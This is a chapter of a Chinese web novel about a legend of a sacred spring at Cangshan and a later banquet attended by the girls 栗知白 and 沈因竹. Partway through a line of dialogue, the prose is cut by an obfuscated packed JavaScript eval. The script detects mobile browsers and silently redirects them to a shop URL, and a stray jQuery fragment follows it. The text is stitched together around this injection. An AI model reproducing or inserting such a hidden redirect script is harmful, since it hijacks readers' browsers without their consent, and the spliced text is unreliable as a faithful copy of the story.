赏花宴的主题是荷花，地点设在苍山的山脚，一处有活泉流过的地方。
众人知晓是那处，心里皆是惊了又惊。上京城就连小孩也知道，那处活泉可不是凡人能涉足的，可偏偏位置就设在那里，究竟是何目的就不得而知了。
上京城的小孩自三岁能识字开始，就听过老人口中的苍山的故事。
在很久以前，究竟有多久，没人知道，只知道那年大旱，全天下颗粒无收，土地被晒得皲裂干瘪，处处充斥着腐尸和燥热的气息，人人没有干净的水喝，渴死的，饿死的人堆得比山还高。距离苍山几百里的位置，有座名不经传的小村子，那里生活着淳朴的一家九口人，四个长辈，五个孩子。
五个孩子业已十二三岁，年长的也有十八九岁，正是长身体需要吃饱饭的时候，奈何天灾来临，先后带走了三个孩子，只留了两个，一个是二姐，另一个是五妹。
死去的三个孩子都是姑娘，家中父辈觉得蹊跷，为何她的姐姐妹妹死了，她却还活着，明明他们下手的时候，没放过她，可她却活了，而且瞧着面色一日比一日红润有气色，五妹小，大家都疼爱，父母也是紧着好的给她吃，到了二姐那里，只剩些草根树皮。
即便是这么做，二姐却一日比一日更生龙活虎，细细一看，甚至比之前没来天灾时还更活泼、欢腾了。二姐素来是家中不被重视的存在，是以在五姐妹当中，最为沉默的是她，最不喜欢说话的也是她，但是天灾发生后的这几年，她好似变了。
小妹受爹娘嘱托，天没亮就跟在这位姐姐的后面，一路跟着跨过干涸的小溪，走过独木桥，越过高山，直到二姐停在了一个陌生、漂亮又诡异的地方。
清澈见底的潭水，有微风拂过，掀起细细的波痕，周围树木不按规律地疯长，比寻常的树木高大极了，也漂亮极了。尤其是那口潭水，水质清澈，有七彩的游鱼划过，镶嵌在这个地方，像人的碧蓝的眼睛，和湛蓝的天空相映成趣。
小妹从没见过这样漂亮的地方，说漂亮其实都不准确，更确切的应该是神圣。
二姐姐却在此时脱下鞋子，赤脚踩入了那块圣地，小妹见状，心里又急又痒，一来怪姐姐好端端地破坏了这么漂亮的地方，二来她自己也饥渴难耐，虽然她喝过几口爹娘给的大红汤，可那汤有股奇怪的铁锈味，难以下咽，然而姐姐却发现了这样的好地方，为什么不早早告诉她们，难道想吞独食，难道是甘愿见着她其余的姐姐活生生死去。
终究是饥渴战胜了道德，想解渴的本能让她迫切想冲出去，大大地饮下一口那干净的潭水。忽又想起爹娘的叮嘱，一定不能出声，无论发生什么都不能出声，因为她的姐姐不是人，会把她吃了的。
为何爹娘说姐姐不是人，懵懂的小妹不知道，却知道爹娘畏惧姐姐，所以才说姐姐会吃人。小妹和姐姐们的关系最好了，其余的姐姐死去了，她就只有她了，她不忍心爹娘那样对她，所以她到底是忍住了，只用手微微扒开一条窄窄的灌木缝隙，伸长脑袋，一眨不眨地盯着那渐渐深入潭水的姐姐。
天空顷刻间阴云笼罩，在眨眼之间雨就砸了下来，可诡异的是，大雨只局限在这一小片地方，其余的范围是艳阳普照。
小妹看得正疑惑，突然听到一声奇异的形似牛叫的声音，一转头，两只硕大的发着光的球直勾勾地瞪着她，小妹当场吓得腿软，来不急跑便晕了过去。
等小妹再醒过来时，已经是三天之后了，爷奶和爹娘冲到她身边，抱着她哭泣，小妹不知道发生了什么事，却从爹娘的口中得知，自己晕倒在荒野，是被头野猪驮着回来的，爹娘问她为什么要去哪里，小妹如实告知，爹娘一脸困惑，怀疑是不是她做梦了，当时小妹没放在心上，只当爹娘是哄骗她才不愿告诉她。
可过了几天，小妹去找二姐姐给她留的一块饼，饼没了，二姐姐的东西也没了，小妹去问爹娘，爹娘探了探她的脑门，笑着说没发烧。后来小妹搞清楚了，二姐姐不见了，大家都把她忘了。
二姐姐不被爹娘喜爱，可小妹喜欢，在一个月黑风高的晚上，小妹背起小包袱，借着记忆穿越重重阻碍，来到了那个地方。
可深潭里的水好似在一夜之间就蒸发了，清澈见底的水没了，游动的小鱼也没了，就连周边诡异的树木也没了。小妹腿脚一软，跪在原地，她一遍又一遍敲打着自己的脑袋，想找出这不是她的幻觉，是真实的，她当真有个漂亮的二姐姐。
望着天穹之上悬着的那轮晃眼的明月，亮如白昼，像是一只橙黄的大灯笼，更像是那晚看到的物什。不知何时，小妹两眼一闭，倒了下去。
待天亮过后，有对夫妻带着她们的几个女儿误打误撞来到此处，发现了一具十八九岁的姑娘的尸体，手腕被割开，血已经流尽了。红色血迹在地上蜿蜒，像是只硕大的怪兽在喷薄涌动。那对夫妻随后发现了活泉，至此所有百姓才得以渡过那次难关。
为了纪念这块救人性命的地方，皇帝下令立了块牌匾，此后人人来参拜，不知是人来得多，还是此地本就玄乎，离奇之景在此地接二连三轮番上演，其中不乏看到了那个姑娘从泉水底下冒出头来，又说有只黑龙，在夜深人静，雷雨交加的夜晚背着那姑娘出来透透气。
总之，众说纷云，过了几年，皇帝便下旨封了那块地方。再经历了几朝几代，皇帝换了又换，苍山山脚的这处活泉都快被人彻底遗忘了。
此次的赏花宴却设在此处，众人心里说不慌乱都是假的。大抵是为了安抚民众这只是谣传，当日有人透出消息，皇帝竟然也会大驾。
栗知白一大早被青杆从床上拉起来，伤好了的笋壳替她梳头发，穿衣裳。
临到出门时，却发现前方有个瘦削的，被风一吹就能倒的身影在前走，她一眼就认出那是青竹院的沈因竹。听闻她病得不轻，这几日都需要卧床休养，不知怎的，又下床来了，而且瞧她这架势，应当是往门口走去。
栗知白火速追上去，见果真是她，“因竹，你身子好些了吗？”
沈因竹抬眸对她笑了一笑，笑容有些苦涩，是种说不清的滋味，面容没有前几日那么煞白无血色了，可到底是病了一场，和正常人比起来，还是有几分病容。
“你怎么了？”栗知白担忧道：“若是不想去，不去了罢。”
沈因竹摇摇头，勉强的笑容里露出几分释然，“没事，我好着，伯父和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886710|212575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伯母都要去，我自然不能待在家里，知白我们乘一辆马车吧。”
栗知白近几日都在忙活自己的秘密计划，压根不晓得赏花宴当中皇帝也会来，此刻乍然听到沈因竹的这番话，先是愣了一愣，随后猜出，“舅舅身在官场，是不可能参与这样的聚会的，连舅舅都惊动，是有什么厉害的人会来吗？”
沈因竹挽着她上了马车，“嗯，知白真是个心思伶俐的，不过知白这话可说错了，此次要去赏花宴的重要角色可不止是厉害这么简单，却是尊贵无比。”
此话一出，即便是不点明，栗知白也知道了，这世上还有什么人比皇帝还尊贵，只怕那厉害的人是他便是了。
马车走的是梧桐大道，道旁种着的高大的梧桐树，此刻在清风的吹拂下，沙沙作响，也带来了几丝酷暑下久违的阴凉。三辆马车一前一后，在辰时一刻到达了苍山山脚。前来迎接的是个头戴方巾的小厮，人机灵得很，一瞧见马车停下，帘子还没掀开，小厮的声音便传了过来。
“老爷夫人，三位小姐，小心脚下。”小厮道。
沈倾岁和自己爹娘在一块，末尾缀着的是沈因竹和栗知白两人。有些宾客来得早的，早就在凉亭里候着了，突然响起一波又一波的欢呼声，众人寻声望去，细细一瞧，目光竟都是落在那身穿艳红色襦裙的姑娘身上。
沈倾岁自来生得极好，穿衣打扮却比较喜欢尝试新鲜东西，大抵是小姑娘年纪小，那般大红大紫的衣裳穿在身上也不显老气，反而有种不随波逐流的新鲜味道。
众人的目光不约而同朝她望过去，少女似是习惯了众人的吹捧，下巴微微向上抬，丝毫没有应有的谦逊。
可却在此时，不知谁问了句，“那是谁？是仙子下凡吗？怎的如此貌美？”
那人说的正是随在沈倾岁身后的沈因竹和栗知白。
沈因竹和往常差不离，性子就是不喜张扬的，穿衣打扮也是如此，可到底是今日不同，便穿了件月白色的襦裙，下摆绣着细细长长的青碧色竹叶，一步一步走在路上，恍若无风自起，掀起一圈圈碧色的涟漪。
头发挽的是单髻，由一根长长的碧色发带束着。少女微微低着头，并未注意旁人的夸赞，只是在听到一两声有意的嘲笑时，两只交叠的手不由地攥紧了些。
栗知白安抚性地拍拍她的手，小声在她耳边说，“无事，她们在夸你好看呢。”
沈因竹仰起头，弯唇一笑，“是在夸知白。”
栗知白循着那些声音看过去，“唔”一声道：“好吧，是在夸我们两个。”
沈因竹笑了。沈家的女眷生得极好，寻常女儿家皆不敢在大庭广众之下站在沈家女子的旁边，只因生怕一个不小心就被比了下去。
可栗知白不然，站在私下素有美名的沈因竹身边，非但没被比下去，还因着一个冷清，一个活泼的形象，衬得身着桃粉的栗知白多了些少女的娇憨，教人爱惜得不得了。
走在前头的沈倾岁猜出了七七八八，倏尔手指蜷紧，倏尔脸颊微微带笑，一幅波澜不惊的神色上丝毫看不出藏在心底的波涛汹涌。她迎上去，轻轻地挽起一侧的沈因竹的手臂，“妹妹走这么远可生分了。”